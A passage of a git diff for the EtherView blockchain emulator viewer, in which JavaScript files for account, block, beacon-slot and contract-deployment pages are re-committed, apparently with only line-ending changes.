function_span_tag.innerHTML = readable_abi[i]; + function_span_tag.style.display= "block"; + abi_pre_block.appendChild(function_span_tag); + } + + // clear all arguments input from last uploaded contract + var arugments_block = document.getElementsByClassName("deploy-arugments-block")[0]; + arugments_block.style.display = "none"; + arugments_block.innerHTML = ""; + + // add arguments input from current uploaded contract for deployment + for (let i = 0; i < json_abi.length; i++){ + let method = json_abi[i]; + if (method['type'] == "constructor"){ + contained_constructor = true; + if(method['inputs'] != "undefined"){ + var inputs = method['inputs']; + for(let j = 0; j < inputs.length; j++){ + let arg_name_tag = document.createElement('label'); + let arg_input_tag = document.createElement('input'); + arg_input_tag.id = "argument" + i; + arg_input_tag.required = true; + arg_name_tag.innerHTML = inputs[j]['name'] + ": "; + arg_input_tag.type = "text"; + arg_input_tag.placeholder = inputs[j]['type']; + arg_name_tag.appendChild(arg_input_tag); + arugments_block.appendChild(arg_name_tag); + } + arugments_block.style.display = "flex"; + } + + if (method['stateMutability'] == "payable"){ + payable_constructor = true; + } + } + } + + } + reader.onerror = function (evt) { + document.getElementById("abi-pre-block").innerHTML = "error reading file"; + } + +} + +function printingDeployStatus(response, error){ + let msg = document.createElement('span'); + let deploy_status_block = document.getElementById("deploy-status-block"); + if (error){ + msg.innerHTML = "-> " + response.statusText; + msg.style.color = "red"; + } + else if(response.code == 200){ + msg.innerHTML = "-> Contract deployed successfully!"; + msg.style.color = "green"; + } + else{ + + msg.innerHTML = "-> " + response.message; + msg.style.color = "red"; + } + + msg.classList.add('new-msg'); + deploy_status_block.append(msg); + deploy_status_block.scrollTop = deploy_status_block.scrollHeight; +} + + +function deployment(information){ + $.ajax({ + type: "POST", + url: "/contract-deploy", + data: JSON.stringify(information), + dataType: 'json', + contentType: "application/json", + processData: false, + success: function(response) { + printingDeployStatus(response, false); + }, + error: function(error) { + printingDeployStatus(error, true); + } + }); + + +} + diff --git a/tools/Blockchain/EtherView/server/static/js/script_account_view.js b/tools/Blockchain/EtherView/server/static/js/script_account_view.js index 3181d46d2..0c3ec9c93 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_account_view.js +++ b/tools/Blockchain/EtherView/server/static/js/script_account_view.js @@ -1,162 +1,162 @@ -window.onload = function () { - init(); -}; - -var provider_url = emulator_parameters["web3_provider"]; -var waiting_time = parseInt(emulator_parameters["client_waiting_time"]); -var accounts; -var providers; - -async function init() { - // get all the current addresses from the server - accounts = await get_accounts("/get_accounts"); - if (accounts != null) show_accounts(accounts); - - providers = await get_web3_providers("/get_web3_providers"); - if (providers != null) set_provider_selector(); - await set_navigator(); - update_balance(); - - window.setInterval(update_balance, waiting_time * 1000); -} - -async function get_accounts(url) { - const response = await fetch(url); - - all_accounts = await response.json(); - if (response) { - // Sort by type and then name: "local" type goes before "emulator" type. - all_accounts.sort(function (a, b) { - if (a.type === b.type) { - // Price is only important when cities are the same - return a.name > b.name ? 1 : -1; - } - return a.type < b.type ? 1 : -1; - }); - - return all_accounts; - } else { - return null; - } -} - -async function get_web3_providers(url) { - const response = await fetch(url); - - all_providers = await response.json(); - if (response) { - return all_providers.sort(); - } else { - return null; - } -} - -// Display accounts (balance is set to empty) -function show_accounts(data) { - if (accounts == null) return; - - let table_body = document.getElementById("table-body"); - - for (let r of data) { - short_address = get_short_address(r.address); - let table_row = document.createElement("tr"); - table_row.setAttribute("id", r.address); - table_row.innerHTML = ` - ${short_address} - ${r.name} - - - `; - table_body.append(table_row); - } -} - -// Update each row of the table, updating balance and change -async function update_balance() { - // sort the data by address - var data = accounts; - - if (data == null) return; - - console.log("show_balance() is invoked"); - - for (let r of data) { - let balance = await get_balance(r.address); - let nonce = await get_nonce(r.address); - let change = 0; - let color = "black"; - - if ("balance" in r) { - change = balance - r["balance"]; - if (change == 0) { - // If change == 0, keep the previous change - change = r["recent-change"]; - } else r["recent-change"] = change; - - r["balance"] = balance; - } else { - r["balance"] = balance; - r["recent-change"] = 0; - } - - short_address = get_short_address(r.address); - if (change > 0) color = "green"; - else if (change < 0) color = "red"; - else color = "black"; - - let table_row = document.getElementById(r.address); - table_row.innerHTML = ` - ${short_address} - ${r.name} - ${balance} - ${change} - ${nonce}`; - // ${short_address} - // - } -} - -function copy_to_clipboard(address) { - // Copy the text inside the text field - navigator.clipboard.writeText(address); - - console.log("Copied the text: " + address); -} - -async function get_balance(address) { - var provider = ethers.getDefaultProvider(provider_url); - var balance = await provider.getBalance(address); - - //console.log(address + ':' + ethers.utils.formatEther(balance)); - eth_balance = ethers.utils.formatEther(balance, { commify: true }); - eth_balance = (+eth_balance).toPrecision(10); - return eth_balance; -} - -async function get_nonce(address) { - var provider = ethers.getDefaultProvider(provider_url); - var nonce = await provider.getTransactionCount(address, 'pending'); - - return nonce; -} - -function get_short_address(address) { - short_address = address.slice(0, 8) + "..." + address.slice(35, 41); - return short_address; -} - -function set_provider_selector() { - let provider_selector = document.getElementById("provider-selector"); - - - let options = ``; - for (let p of providers) { - options += `` - } - - - provider_selector.innerHTML = options; - provider_selector.onchange = function () { - provider_url = this.value; - }; -} +window.onload = function () { + init(); +}; + +var provider_url = emulator_parameters["web3_provider"]; +var waiting_time = parseInt(emulator_parameters["client_waiting_time"]); +var accounts; +var providers; + +async function init() { + // get all the current addresses from the server + accounts = await get_accounts("/get_accounts"); + if (accounts != null) show_accounts(accounts); + + providers = await get_web3_providers("/get_web3_providers"); + if (providers != null) set_provider_selector(); + await set_navigator(); + update_balance(); + + window.setInterval(update_balance, waiting_time * 1000); +} + +async function get_accounts(url) { + const response = await fetch(url); + + all_accounts = await response.json(); + if (response) { + // Sort by type and then name: "local" type goes before "emulator" type. + all_accounts.sort(function (a, b) { + if (a.type === b.type) { + // Price is only important when cities are the same + return a.name > b.name ? 1 : -1; + } + return a.type < b.type ? 1 : -1; + }); + + return all_accounts; + } else { + return null; + } +} + +async function get_web3_providers(url) { + const response = await fetch(url); + + all_providers = await response.json(); + if (response) { + return all_providers.sort(); + } else { + return null; + } +} + +// Display accounts (balance is set to empty) +function show_accounts(data) { + if (accounts == null) return; + + let table_body = document.getElementById("table-body"); + + for (let r of data) { + short_address = get_short_address(r.address); + let table_row = document.createElement("tr"); + table_row.setAttribute("id", r.address); + table_row.innerHTML = ` + ${short_address} + ${r.name} + + + `; + table_body.append(table_row); + } +} + +// Update each row of the table, updating balance and change +async function update_balance() { + // sort the data by address + var data = accounts; + + if (data == null) return; + + console.log("show_balance() is invoked"); + + for (let r of data) { + let balance = await get_balance(r.address); + let nonce = await get_nonce(r.address); + let change = 0; + let color = "black"; + + if ("balance" in r) { + change = balance - r["balance"]; + if (change == 0) { + // If change == 0, keep the previous change + change = r["recent-change"]; + } else r["recent-change"] = change; + + r["balance"] = balance; + } else { + r["balance"] = balance; + r["recent-change"] = 0; + } + + short_address = get_short_address(r.address); + if (change > 0) color = "green"; + else if (change < 0) color = "red"; + else color = "black"; + + let table_row = document.getElementById(r.address); + table_row.innerHTML = ` + ${short_address} + ${r.name} + ${balance} + ${change} + ${nonce}`; + // ${short_address} + // + } +} + +function copy_to_clipboard(address) { + // Copy the text inside the text field + navigator.clipboard.writeText(address); + + console.log("Copied the text: " + address); +} + +async function get_balance(address) { + var provider = ethers.getDefaultProvider(provider_url); + var balance = await provider.getBalance(address); + + //console.log(address + ':' + ethers.utils.formatEther(balance)); + eth_balance = ethers.utils.formatEther(balance, { commify: true }); + eth_balance = (+eth_balance).toPrecision(10); + return eth_balance; +} + +async function get_nonce(address) { + var provider = ethers.getDefaultProvider(provider_url); + var nonce = await provider.getTransactionCount(address, 'pending'); + + return nonce; +} + +function get_short_address(address) { + short_address = address.slice(0, 8) + "..." + address.slice(35, 41); + return short_address; +} + +function set_provider_selector() { + let provider_selector = document.getElementById("provider-selector"); + + + let options = ``; + for (let p of providers) { + options += `` + } + + + provider_selector.innerHTML = options; + provider_selector.onchange = function () { + provider_url = this.value; + }; +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_base.js b/tools/Blockchain/EtherView/server/static/js/script_base.js index 62f0f4700..03a7ca43b 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_base.js +++ b/tools/Blockchain/EtherView/server/static/js/script_base.js @@ -1,7 +1,7 @@ -window.onload = function () { - init(); -}; - -async function init() { - await set_navigator(); -} +window.onload = function () { + init(); +}; + +async function init() { + await set_navigator(); +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_beacon_common.js b/tools/Blockchain/EtherView/server/static/js/script_beacon_common.js index 52043faca..b34b6f192 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_beacon_common.js +++ b/tools/Blockchain/EtherView/server/static/js/script_beacon_common.js @@ -1,86 +1,86 @@ -var providers; -var provider_url; - -function loadTable(tableId, fields, data) { - var rows = ""; - $.each(data, function (index, item) { - var row = ""; - $.each(fields, function (index, field) { - let cellText = ""; - if (item[field] != null) { - cellText = JSON.stringify(item[field]); - } - - row += "" + cellText.replaceAll('"', '') + ""; - - }); - rows += row + ""; - }); - $("#" + tableId).html(rows); -} - -function insertTable(tableId, fields, data){ - let tableRef = document.getElementById(tableId); - let newRow = tableRef.insertRow(0); - $.each(fields, function (index, field) { - let newCell = newRow.insertCell(index); - newCell.id = data['slot']+ "_" + field; - - let newText = document.createTextNode(""); - if (data[field] != null) { - newText = document.createTextNode(JSON.stringify(data[field]).replaceAll('"', '')); - } - newCell.appendChild(newText); - }); -} - -async function update_current_slot() { - const current_slot = document.getElementById("current_slot"); - const current_epoch = document.getElementById("current_epoch"); - - cur_slot = await get_current_slot(); - - current_slot.innerHTML = "Current Slot: " + cur_slot; - current_epoch.innerHTML = - "Current Epoch: " + Math.floor(parseInt(cur_slot) / 4); -} - -async function get_current_slot() { - response = await request_api(provider_url + "/eth/v1/beacon/headers"); - - return parseInt(response["data"][0]["header"]["message"]["slot"]); -} - -async function get_beacon_providers() { - all_providers = await request_api("/get_beacon_providers"); - return all_providers.sort(); -} - -function set_provider_selector() { - let provider_selector = document.getElementById("provider-selector"); - let options = ``; - providers.forEach(function (p, index) { - if (index == 5) { - provider_url = p; - options = ``; - } - options += ``; - }); - - provider_selector.innerHTML = options; - provider_selector.onchange = function () { - provider_url = this.value; - }; -} - -async function request_api(url) { - const response = await fetch(url); - - res = await response.json(); - - if (response) { - return res; - } else { - return null; - } -} +var providers; +var provider_url; + +function loadTable(tableId, fields, data) { + var rows = ""; + $.each(data, function (index, item) { + var row = ""; + $.each(fields, function (index, field) { + let cellText = ""; + if (item[field] != null) { + cellText = JSON.stringify(item[field]); + } + + row += "" + cellText.replaceAll('"', '') + ""; + + }); + rows += row + ""; + }); + $("#" + tableId).html(rows); +} + +function insertTable(tableId, fields, data){ + let tableRef = document.getElementById(tableId); + let newRow = tableRef.insertRow(0); + $.each(fields, function (index, field) { + let newCell = newRow.insertCell(index); + newCell.id = data['slot']+ "_" + field; + + let newText = document.createTextNode(""); + if (data[field] != null) { + newText = document.createTextNode(JSON.stringify(data[field]).replaceAll('"', '')); + } + newCell.appendChild(newText); + }); +} + +async function update_current_slot() { + const current_slot = document.getElementById("current_slot"); + const current_epoch = document.getElementById("current_epoch"); + + cur_slot = await get_current_slot(); + + current_slot.innerHTML = "Current Slot: " + cur_slot; + current_epoch.innerHTML = + "Current Epoch: " + Math.floor(parseInt(cur_slot) / 4); +} + +async function get_current_slot() { + response = await request_api(provider_url + "/eth/v1/beacon/headers"); + + return parseInt(response["data"][0]["header"]["message"]["slot"]); +} + +async function get_beacon_providers() { + all_providers = await request_api("/get_beacon_providers"); + return all_providers.sort(); +} + +function set_provider_selector() { + let provider_selector = document.getElementById("provider-selector"); + let options = ``; + providers.forEach(function (p, index) { + if (index == 5) { + provider_url = p; + options = ``; + } + options += ``; + }); + + provider_selector.innerHTML = options; + provider_selector.onchange = function () { + provider_url = this.value; + }; +} + +async function request_api(url) { + const response = await fetch(url); + + res = await response.json(); + + if (response) { + return res; + } else { + return null; + } +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_block_view.js b/tools/Blockchain/EtherView/server/static/js/script_block_view.js index e570431a9..db3173a03 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_block_view.js +++ b/tools/Blockchain/EtherView/server/static/js/script_block_view.js @@ -1,279 +1,279 @@ -window.onload = function () { - init(); -}; - -var total_blocks_shown = 20; -var total_transactions_shown = 50; -var provider_url = emulator_parameters["web3_provider"]; -var waiting_time = parseInt(emulator_parameters["client_waiting_time"]); -var providers = []; -var most_recent_block = 0; -var init_block = 0; -var BLOCK_URL = "/block/"; -var TX_URL = "/tx/"; - -async function init() { - // get all the current addresses from the server - //get_web3_providers('/get_web3_providers'); - update_view(); - await set_navigator(); - - window.setInterval(update_view, waiting_time * 1000); - window.setInterval(update_timestamp, 1000); - document.getElementById("defaultOpen").click(); - - let button = document.getElementById("new-block-button"); - button.setAttribute("onclick", "show_new_block()"); -} -async function show_new_block() { - let number = document.getElementById("new-block-number").value; - show_block(number); -} -async function show_block(block_number) { - var provider = ethers.getDefaultProvider(provider_url); - var block = await provider.getBlockWithTransactions(parseInt(block_number)); - - let page_title = document.getElementById("page-title"); - page_title.innerHTML = "Block #" + block_number; - - let block_table = document.getElementById("block-table-body"); - block_table.innerHTML = ""; // Clear the table - - for (var key in block) { - let table_row = document.createElement("tr"); - table_row.setAttribute("id", key); - - if (key === "transactions") { - transactions = block.transactions; - if (transactions.length > 0) { - var content = ""; - console.log(transactions); - for (let i = 0; i < transactions.length; i++) { - var trx = transactions[i]; - content += `${trx.hash}
`; - } - } else { - content = "No transaction"; - } - table_row.innerHTML = ` - ${key} - ${content}`; - } else { - table_row.innerHTML = ` - ${key} - ${block[key]}`; - } - block_table.append(table_row); - } -} -async function get_web3_providers(url) { - const response = await fetch(url); - - providers = await response.json(); - console.log(providers); - if (response) { - set_provider_selector(); - } -} - -async function get_blocks() { - var blocks = []; - var provider = ethers.getDefaultProvider(provider_url); - var latest_block_number = await provider.getBlockNumber(); - - if (latest_block_number <= most_recent_block) return; - - if (latest_block_number - most_recent_block > total_blocks_shown) { - if (most_recent_block == 0) { - init_block = latest_block_number - total_blocks_shown; - } - most_recent_block = latest_block_number - total_blocks_shown; - } - - let block_area = document.getElementById("block-list"); - for (let i = most_recent_block + 1; i <= latest_block_number; i++) { - var block = await provider.getBlockWithTransactions(i); - blocks.push(block); - } - most_recent_block = latest_block_number; - return blocks; -} -async function update_timestamp() { - for (let i = init_block; i <= most_recent_block; i++) { - let timestamp = document.getElementById(`${i}_timestamp`); - if (timestamp) { - timestamp = parseInt(timestamp.innerText); - } - - let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); - let time = ``; - if (sec < 60) { - time += `${sec} seconds ago`; - } else { - let min = Math.floor(sec / 60); - if (min == 1) { - time += `${Math.floor(sec / 60)} min ago`; - } else { - time += `${Math.floor(sec / 60)} mins ago`; - } - } - $("#" + i.toString() + "_time").html(time); - } -} -async function update_view() { - var blocks = await get_blocks(); - if (blocks) { - show_blocks(blocks); - show_block_history(blocks); - } -} -async function show_block_history(blocks) { - for (let i = 0; i < blocks.length; i++) { - var block = blocks[i]; - var url = BLOCK_URL + block.number; - block.block_number = `${block.number}`; - block.txn = block.transactions.length; - block.reward = ethers.BigNumber.from(0); - block.time = ``; - block.burntFee = block.baseFeePerGas.mul(block.gasUsed); - block.baseFeePerGas = ethers.utils.formatUnits(block.baseFeePerGas, "gwei"); - block.gasUsed = block.gasUsed.toString(); - block.gasLimit = block.gasLimit.toString(); - var sec = Math.floor((Date.now() - block.timestamp * 1000) / 1000); - if (sec < 60) { - block.time += `${sec} seconds ago`; - } else { - let min = Math.floor(sec / 60); - if (min == 1) { - block.time += `${Math.floor(sec / 60)} min ago`; - } else { - block.time += `${Math.floor(sec / 60)} mins ago`; - } - } - for (let j = 0; j < block.txn; j++) { - var provider = ethers.getDefaultProvider(provider_url); - var hash = block.transactions[j].hash; - var tx = await provider.getTransaction(hash); - var tx_r = await provider.getTransactionReceipt(hash); - gasPrice = ethers.utils.formatUnits(tx.gasPrice, "gwei"); - gasUsed = tx_r.gasUsed.toString(); - block.reward = block.reward.add(tx.gasPrice.mul(tx_r.gasUsed)); - } - block.reward = - ethers.utils.formatUnits(block.reward.sub(block.burntFee), "ether") + - " Ether"; - block.burntFee = ethers.utils.formatUnits(block.burntFee, "ether"); - insertTable( - "blocks-table-body", - [ - "block_number", - "time", - "txn", - "miner", - "gasUsed", - "gasLimit", - "baseFeePerGas", - "reward", - "burntFee", - ], - block - ); - } -} -async function show_blocks(blocks) { - let block_area = document.getElementById("block-list"); - - for (let i = 0; i < blocks.length; i++) { - var block = blocks[i]; - - var node = document.getElementById("block-" + block.number); - if (node != null) continue; // the node already exists - - node = document.createElement("li"); - number_of_tx = block.transactions.length; - node.setAttribute("class", "list-group-item"); - node.setAttribute("id", "block-" + block.number); - - var url = BLOCK_URL + block.number; - text = - `${block.number}:  ` + - get_short_hash(block.hash) + - ` (${number_of_tx})`; - - node.innerHTML = text; - - // Insert the node at the top, and remove one the bottom if needed - block_area.insertBefore(node, block_area.firstChild); - while (block_area.childElementCount > total_blocks_shown) { - block_area.removeChild(block_area.lastChild); - } - - // Display transactions - show_transactions(block.number, block.transactions); - } -} - -function show_transactions(block_number, transactions) { - length = transactions.length; - let tx_area = document.getElementById("transaction-list"); - for (i = 0; i < length; i++) { - var node = document.createElement("li"); - var tx = transactions[i]; - node.setAttribute("class", "list-group-item"); - node.setAttribute("id", "tx-" + tx.hash); - addr_from = get_short_number(tx.from, 5, 2); - addr_to = get_short_number(tx.to, 5, 2); - url = TX_URL + tx.hash; - text = - `${block_number}:  ` + - `${get_short_number(tx.hash, 6, 4)}` + - ` (${addr_from} --> ${addr_to})`; - node.innerHTML = text; - - tx_area.insertBefore(node, tx_area.firstChild); - while (tx_area.childElementCount > total_transactions_shown) { - tx_area.removeChild(tx_area.lastChild); - } - } -} - -function copy_to_clipboard(value) { - // Copy the text inside the text field - navigator.clipboard.writeText(value); - - console.log("Copied the text: " + value); -} - -function get_short_hash(hash) { - short_hash = hash.slice(0, 8) + "..." + hash.slice(35, 41); - return short_hash; -} - -function get_short_number(number, from_start, from_end) { - if (number == null) { - return "null"; - } - end = number.length; - short_number = - number.slice(0, from_start) + - "..." + - number.slice(end - from_end - 1, end - 1); - return short_number; -} - -function insertTable(tableId, fields, data) { - let tableRef = document.getElementById(tableId); - let newRow = tableRef.insertRow(0); - $.each(fields, function (index, field) { - let newCell = newRow.insertCell(index); - newCell.id = data["number"] + "_" + field; - - let newText = document.createTextNode(""); - if (data[field] != null) { - newText = document.createTextNode( - JSON.stringify(data[field]).replaceAll('"', "") - ); - } - $("#" + data["number"] + "_" + field).html(data[field]); - }); -} +window.onload = function () { + init(); +}; + +var total_blocks_shown = 20; +var total_transactions_shown = 50; +var provider_url = emulator_parameters["web3_provider"]; +var waiting_time = parseInt(emulator_parameters["client_waiting_time"]); +var providers = []; +var most_recent_block = 0; +var init_block = 0; +var BLOCK_URL = "/block/"; +var TX_URL = "/tx/"; + +async function init() { + // get all the current addresses from the server + //get_web3_providers('/get_web3_providers'); + update_view(); + await set_navigator(); + + window.setInterval(update_view, waiting_time * 1000); + window.setInterval(update_timestamp, 1000); + document.getElementById("defaultOpen").click(); + + let button = document.getElementById("new-block-button"); + button.setAttribute("onclick", "show_new_block()"); +} +async function show_new_block() { + let number = document.getElementById("new-block-number").value; + show_block(number); +} +async function show_block(block_number) { + var provider = ethers.getDefaultProvider(provider_url); + var block = await provider.getBlockWithTransactions(parseInt(block_number)); + + let page_title = document.getElementById("page-title"); + page_title.innerHTML = "Block #" + block_number; + + let block_table = document.getElementById("block-table-body"); + block_table.innerHTML = ""; // Clear the table + + for (var key in block) { + let table_row = document.createElement("tr"); + table_row.setAttribute("id", key); + + if (key === "transactions") { + transactions = block.transactions; + if (transactions.length > 0) { + var content = ""; + console.log(transactions); + for (let i = 0; i < transactions.length; i++) { + var trx = transactions[i]; + content += `${trx.hash}
`; + } + } else { + content = "No transaction"; + } + table_row.innerHTML = ` + ${key} + ${content}`; + } else { + table_row.innerHTML = ` + ${key} + ${block[key]}`; + } + block_table.append(table_row); + } +} +async function get_web3_providers(url) { + const response = await fetch(url); + + providers = await response.json(); + console.log(providers); + if (response) { + set_provider_selector(); + } +} + +async function get_blocks() { + var blocks = []; + var provider = ethers.getDefaultProvider(provider_url); + var latest_block_number = await provider.getBlockNumber(); + + if (latest_block_number <= most_recent_block) return; + + if (latest_block_number - most_recent_block > total_blocks_shown) { + if (most_recent_block == 0) { + init_block = latest_block_number - total_blocks_shown; + } + most_recent_block = latest_block_number - total_blocks_shown; + } + + let block_area = document.getElementById("block-list"); + for (let i = most_recent_block + 1; i <= latest_block_number; i++) { + var block = await provider.getBlockWithTransactions(i); + blocks.push(block); + } + most_recent_block = latest_block_number; + return blocks; +} +async function update_timestamp() { + for (let i = init_block; i <= most_recent_block; i++) { + let timestamp = document.getElementById(`${i}_timestamp`); + if (timestamp) { + timestamp = parseInt(timestamp.innerText); + } + + let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); + let time = ``; + if (sec < 60) { + time += `${sec} seconds ago`; + } else { + let min = Math.floor(sec / 60); + if (min == 1) { + time += `${Math.floor(sec / 60)} min ago`; + } else { + time += `${Math.floor(sec / 60)} mins ago`; + } + } + $("#" + i.toString() + "_time").html(time); + } +} +async function update_view() { + var blocks = await get_blocks(); + if (blocks) { + show_blocks(blocks); + show_block_history(blocks); + } +} +async function show_block_history(blocks) { + for (let i = 0; i < blocks.length; i++) { + var block = blocks[i]; + var url = BLOCK_URL + block.number; + block.block_number = `${block.number}`; + block.txn = block.transactions.length; + block.reward = ethers.BigNumber.from(0); + block.time = ``; + block.burntFee = block.baseFeePerGas.mul(block.gasUsed); + block.baseFeePerGas = ethers.utils.formatUnits(block.baseFeePerGas, "gwei"); + block.gasUsed = block.gasUsed.toString(); + block.gasLimit = block.gasLimit.toString(); + var sec = Math.floor((Date.now() - block.timestamp * 1000) / 1000); + if (sec < 60) { + block.time += `${sec} seconds ago`; + } else { + let min = Math.floor(sec / 60); + if (min == 1) { + block.time += `${Math.floor(sec / 60)} min ago`; + } else { + block.time += `${Math.floor(sec / 60)} mins ago`; + } + } + for (let j = 0; j < block.txn; j++) { + var provider = ethers.getDefaultProvider(provider_url); + var hash = block.transactions[j].hash; + var tx = await provider.getTransaction(hash); + var tx_r = await provider.getTransactionReceipt(hash); + gasPrice = ethers.utils.formatUnits(tx.gasPrice, "gwei"); + gasUsed = tx_r.gasUsed.toString(); + block.reward = block.reward.add(tx.gasPrice.mul(tx_r.gasUsed)); + } + block.reward = + ethers.utils.formatUnits(block.reward.sub(block.burntFee), "ether") + + " Ether"; + block.burntFee = ethers.utils.formatUnits(block.burntFee, "ether"); + insertTable( + "blocks-table-body", + [ + "block_number", + "time", + "txn", + "miner", + "gasUsed", + "gasLimit", + "baseFeePerGas", + "reward", + "burntFee", + ], + block + ); + } +} +async function show_blocks(blocks) { + let block_area = document.getElementById("block-list"); + + for (let i = 0; i < blocks.length; i++) { + var block = blocks[i]; + + var node = document.getElementById("block-" + block.number); + if (node != null) continue; // the node already exists + + node = document.createElement("li"); + number_of_tx = block.transactions.length; + node.setAttribute("class", "list-group-item"); + node.setAttribute("id", "block-" + block.number); + + var url = BLOCK_URL + block.number; + text = + `${block.number}:  ` + + get_short_hash(block.hash) + + ` (${number_of_tx})`; + + node.innerHTML = text; + + // Insert the node at the top, and remove one the bottom if needed + block_area.insertBefore(node, block_area.firstChild); + while (block_area.childElementCount > total_blocks_shown) { + block_area.removeChild(block_area.lastChild); + } + + // Display transactions + show_transactions(block.number, block.transactions); + } +} + +function show_transactions(block_number, transactions) { + length = transactions.length; + let tx_area = document.getElementById("transaction-list"); + for (i = 0; i < length; i++) { + var node = document.createElement("li"); + var tx = transactions[i]; + node.setAttribute("class", "list-group-item"); + node.setAttribute("id", "tx-" + tx.hash); + addr_from = get_short_number(tx.from, 5, 2); + addr_to = get_short_number(tx.to, 5, 2); + url = TX_URL + tx.hash; + text = + `${block_number}:  ` + + `${get_short_number(tx.hash, 6, 4)}` + + ` (${addr_from} --> ${addr_to})`; + node.innerHTML = text; + + tx_area.insertBefore(node, tx_area.firstChild); + while (tx_area.childElementCount > total_transactions_shown) { + tx_area.removeChild(tx_area.lastChild); + } + } +} + +function copy_to_clipboard(value) { + // Copy the text inside the text field + navigator.clipboard.writeText(value); + + console.log("Copied the text: " + value); +} + +function get_short_hash(hash) { + short_hash = hash.slice(0, 8) + "..." + hash.slice(35, 41); + return short_hash; +} + +function get_short_number(number, from_start, from_end) { + if (number == null) { + return "null"; + } + end = number.length; + short_number = + number.slice(0, from_start) + + "..." + + number.slice(end - from_end - 1, end - 1); + return short_number; +} + +function insertTable(tableId, fields, data) { + let tableRef = document.getElementById(tableId); + let newRow = tableRef.insertRow(0); + $.each(fields, function (index, field) { + let newCell = newRow.insertCell(index); + newCell.id = data["number"] + "_" + field; + + let newText = document.createTextNode(""); + if (data[field] != null) { + newText = document.createTextNode( + JSON.stringify(data[field]).replaceAll('"', "") + ); + } + $("#" + data["number"] + "_" + field).html(data[field]); + }); +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_common.js b/tools/Blockchain/EtherView/server/static/js/script_common.js index 34dad3245..822ee5942 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_common.js +++ b/tools/Blockchain/EtherView/server/static/js/script_common.js @@ -1,52 +1,52 @@ -// Display the selected tab -function openTab(evt, tabName) { - var i, tabcontent, tablinks; - tabcontent = document.getElementsByClassName("tabcontent"); - for (i = 0; i < tabcontent.length; i++) { - tabcontent[i].style.display = "none"; - } - tablinks = document.getElementsByClassName("tablinks"); - for (i = 0; i < tablinks.length; i++) { - tablinks[i].className = tablinks[i].className.replace(" active", ""); - } - document.getElementById(tabName).style.display = "block"; - evt.currentTarget.className += " active"; -} - -async function set_navigator() { - consensus = await get_consensus(); - if (consensus=='POS') { - const nav = document.getElementById("side_nav"); - - var validator_tab = document.createElement("a"); - validator_tab.href = "/validator-view" - var validator_tab_textnode = document.createTextNode("Validators") - validator_tab.appendChild(validator_tab_textnode) - nav.appendChild(validator_tab) - - var slot_tab = document.createElement("a"); - slot_tab.href = "/slot-view" - var slot_tab_textnode = document.createTextNode("Slots") - slot_tab.appendChild(slot_tab_textnode) - nav.appendChild(slot_tab) - } -} - -async function get_consensus() { - var consensus = await request_api("/get_consensus"); - console.log(consensus) - return consensus; -} - -async function request_api(url) { - const response = await fetch(url); - - res = response.json(); - - if (response) { - return res; - } else { - return null; - } - } +// Display the selected tab +function openTab(evt, tabName) { + var i, tabcontent, tablinks; + tabcontent = document.getElementsByClassName("tabcontent"); + for (i = 0; i < tabcontent.length; i++) { + tabcontent[i].style.display = "none"; + } + tablinks = document.getElementsByClassName("tablinks"); + for (i = 0; i < tablinks.length; i++) { + tablinks[i].className = tablinks[i].className.replace(" active", ""); + } + document.getElementById(tabName).style.display = "block"; + evt.currentTarget.className += " active"; +} + +async function set_navigator() { + consensus = await get_consensus(); + if (consensus=='POS') { + const nav = document.getElementById("side_nav"); + + var validator_tab = document.createElement("a"); + validator_tab.href = "/validator-view" + var validator_tab_textnode = document.createTextNode("Validators") + validator_tab.appendChild(validator_tab_textnode) + nav.appendChild(validator_tab) + + var slot_tab = document.createElement("a"); + slot_tab.href = "/slot-view" + var slot_tab_textnode = document.createTextNode("Slots") + slot_tab.appendChild(slot_tab_textnode) + nav.appendChild(slot_tab) + } +} + +async function get_consensus() { + var consensus = await request_api("/get_consensus"); + console.log(consensus) + return consensus; +} + +async function request_api(url) { + const response = await fetch(url); + + res = response.json(); + + if (response) { + return res; + } else { + return null; + } + } \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/js/script_one_block.js b/tools/Blockchain/EtherView/server/static/js/script_one_block.js index 31873fe22..e4cf1e667 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_one_block.js +++ b/tools/Blockchain/EtherView/server/static/js/script_one_block.js @@ -1,51 +1,51 @@ -var provider_url = emulator_parameters["web3_provider"]; -var block_number = emulator_parameters["block_number"]; - -window.onload = function () { - let button = document.getElementById("new-block-button"); - button.setAttribute("onclick", "show_new_block()"); - set_navigator(); - show_block(block_number); -}; - -async function show_new_block() { - let number = document.getElementById("new-block-number").value; - show_block(number); -} - -async function show_block(block_number) { - var provider = ethers.getDefaultProvider(provider_url); - var block = await provider.getBlockWithTransactions(parseInt(block_number)); - - let page_title = document.getElementById("page-title"); - page_title.innerHTML = "Block #" + block_number; - - let block_table = document.getElementById("block-table-body"); - block_table.innerHTML = ""; // Clear the table - - for (var key in block) { - let table_row = document.createElement("tr"); - table_row.setAttribute("id", key); - - if (key === "transactions") { - transactions = block.transactions; - if (transactions.length > 0) { - var content = ""; - for (let i = 0; i < transactions.length; i++) { - var trx = transactions[i]; - content += `${trx.hash}
`; - } - } else { - content = "No transaction"; - } - table_row.innerHTML = ` - ${key} - ${content}`; - } else { - table_row.innerHTML = ` - ${key} - ${block[key]}`; - } - block_table.append(table_row); - } -} +var provider_url = emulator_parameters["web3_provider"]; +var block_number = emulator_parameters["block_number"]; + +window.onload = function () { + let button = document.getElementById("new-block-button"); + button.setAttribute("onclick", "show_new_block()"); + set_navigator(); + show_block(block_number); +}; + +async function show_new_block() { + let number = document.getElementById("new-block-number").value; + show_block(number); +} + +async function show_block(block_number) { + var provider = ethers.getDefaultProvider(provider_url); + var block = await provider.getBlockWithTransactions(parseInt(block_number)); + + let page_title = document.getElementById("page-title"); + page_title.innerHTML = "Block #" + block_number; + + let block_table = document.getElementById("block-table-body"); + block_table.innerHTML = ""; // Clear the table + + for (var key in block) { + let table_row = document.createElement("tr"); + table_row.setAttribute("id", key); + + if (key === "transactions") { + transactions = block.transactions; + if 